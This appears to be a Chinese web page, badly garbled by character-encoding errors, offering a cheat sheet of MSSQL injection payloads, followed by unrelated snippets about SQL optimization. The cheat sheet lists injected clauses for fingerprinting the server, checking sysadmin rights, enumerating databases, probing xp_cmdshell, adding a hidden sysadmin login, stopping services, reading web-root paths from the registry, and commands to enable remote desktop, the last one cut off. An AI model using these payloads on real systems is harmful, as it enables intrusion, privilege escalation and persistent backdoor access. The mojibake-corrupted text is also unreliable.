Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

×¢Èë³£ÓÃSQLÓï¾ä


and exists (select * from sysobjects) //ÅжÏÊÇ·ñÊÇMSSQL
and exists(select * from tableName) //ÅжÏij±íÊÇ·ñ´æÔÚ..tableNameΪ±íÃû
and 1=(select @@VERSION) //MSSQL°æ±¾
And 1=(select db_name()) //µ±Ç°Êý¾Ý¿âÃû
and 1=(select @@servername) //±¾µØ·þÎñÃû
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //ÅжÏÊÇ·ñÊÇϵͳ¹ÜÀíÔ±
and 1=(Select IS_MEMBER('db_owner')) //ÅжÏÊÇ·ñÊÇ¿âȨÏÞ
and 1= (Select HAS_DBACCESS('master')) //ÅжÏÊÇ·ñÓпâ¶ÁȡȨÏÞ
and 1=(select name from master.dbo.sysdatabases where dbid=1) //±©¿âÃûDBIDΪ1£¬2£¬3....
;declare @d int //ÊÇ·ñÖ§³Ö¶àÐÐ
and 1=(Select count(*) from master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //ÅжÏXP_CMDSHELLÊÇ·ñ´æÔÚ
and 1=(select count(*) from master.dbo.sysobjects where name= 'xp_regread') //²é¿´XP_regreadÀ©Õ¹´æ´¢¹ý³ÌÊDz»ÊÇÒѾ­±»É¾³ý
Ìí¼ÓºÍɾ³ýÒ»¸öSAȨÏÞµÄÓû§test£º£¨ÐèÒªSAȨÏÞ£©
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
Í£µô»ò¼¤»îij¸ö·þÎñ¡£ £¨ÐèÒªSAȨÏÞ£©
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
±©ÍøÕ¾Ä¿Â¼
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) »òÕßand 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————·Ö¸î
DOSÏ¿ª3389 ²¢Ð޸Ķ˿ںÅ
sc config termservice start= auto
net start termservice
//ÔÊÐíÍâÁ¬
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDe


Ïà¹ØÎĵµ£º

SQLÓï¾äÓÅ»¯µÄÔ­Ôò

MysqlµÄÓÅ»¯Ô­Ôò1£º
1¡¢Ê¹ÓÃË÷ÒýÀ´¸ü¿ìµØ±éÀú±í¡£
ȱʡÇé¿öϽ¨Á¢µÄË÷ÒýÊÇ·ÇȺ¼¯Ë÷Òý£¬µ«ÓÐʱËü²¢²»ÊÇ×î¼ÑµÄ¡£ÔÚ·ÇȺ¼¯Ë÷Òý
Ï£¬Êý¾ÝÔÚÎïÀíÉÏËæ»ú´æ·ÅÔÚÊý¾ÝÒ³ÉÏ¡£ºÏÀíµÄË÷ÒýÉè¼ÆÒª½¨Á¢ÔÚ
¶Ô¸÷ÖÖ²éѯµÄ·ÖÎöºÍÔ¤²âÉÏ¡£Ò»°ãÀ´Ëµ£º
a.ÓдóÁ¿Öظ´Öµ¡¢ÇÒ¾­³£Óз¶Î§²éѯ£¨ > ,< £¬> =,< =£©ºÍorder by¡¢group by ......

ORACLE SQLµÄÓÅ»¯


SQLµÄÓÅ»¯Ó¦¸Ã´Ó5¸ö·½Ãæ½øÐе÷Õû£º
1.È¥µô²»±ØÒªµÄ´óÐͱíµÄÈ«±íɨÃè
2.»º´æÐ¡ÐͱíµÄÈ«±íɨÃè
3.¼ìÑéÓÅ»¯Ë÷ÒýµÄʹÓÃ
4.¼ìÑéÓÅ»¯µÄÁ¬½Ó¼¼Êõ
5.¾¡¿ÉÄܼõÉÙÖ´Ðмƻ®µÄCost
SQLÓï¾ä£º
ÊǶÔÊý¾Ý¿â(Êý¾Ý)½øÐвÙ×÷µÄΩһ;¾¶£»
ÏûºÄÁË70%~90%µÄÊý¾Ý¿â×ÊÔ´£»¶ÀÁ¢ÓÚ³ÌÐòÉè¼ÆÂß¼­£¬Ïà¶ÔÓÚ¶Ô³ÌÐòÔ´´úÂëµÄÓÅ»¯£¬¶ÔSQLÓï¾äµÄÓÅ» ......

Ãâ°²×°Oracle¿Í»§¶ËʹÓÃPL/SQLÁ¬½ÓOracle


´ó¼Ò¶¼ÖªµÀ£¬ÓÃPL/SQLÁ¬½ÓOracle£¬ÊÇÐèÒª°²×°Oracle¿Í»§¶ËÈí¼þµÄ¡£ÓÐûҪÏë¹ý²»°²×°Oracle¿Í»§¶ËÖ±½ÓÁ¬½ÓOracleÄØ£¿
      ÆäʵÎÒÒ»Ö±ÏëÕâÑù×ö£¬ÒòΪÕâ¸ö¿Í»§¶ËʵÔÚÌ«ÈÃÈËÌÖÑáÁË£¡£¡£¡²»µ«»á°²×°Ò»¸öJDK£¬¶øÇÒ»¹»á°Ñ×Ô¼º·ÅÔÚ»·¾³±äÁ¿µÄ×îÇ°Ãæ£¬»áÔì³É²»Ð¡µÄÂé·³¡£
    &n ......

SQL ÓïÑÔµÄËÄ´ó×é³É²¿·Ö DQL DML DDL DCL

SQL(Structure Query Language)ÓïÑÔÊÇÊý¾Ý¿âµÄºËÐÄÓïÑÔ¡£
SQLµÄ·¢Õ¹ÊÇ´Ó1974Ä꿪ʼµÄ£¬Æä·¢Õ¹¹ý³ÌÈçÏ£º
1974Äê-----ÓÉBoyceºÍChamberlinÌá³ö£¬µ±Ê±³ÆSEQUEL¡£
1976Äê-----IBM¹«Ë¾µÄSanjaseÑо¿ËùÔÚÑÐÖÆRDBMS SYSTEM Rʱ¸ÄΪSQL¡£
1979Äê-----ORACLE¹«Ë¾·¢±íµÚÒ»¸ö»ùÓÚSQLµÄÉÌÒµ»¯RDBMS²úÆ·¡£
1982Äê-----IBM¹«Ë¾³ö°æµ ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ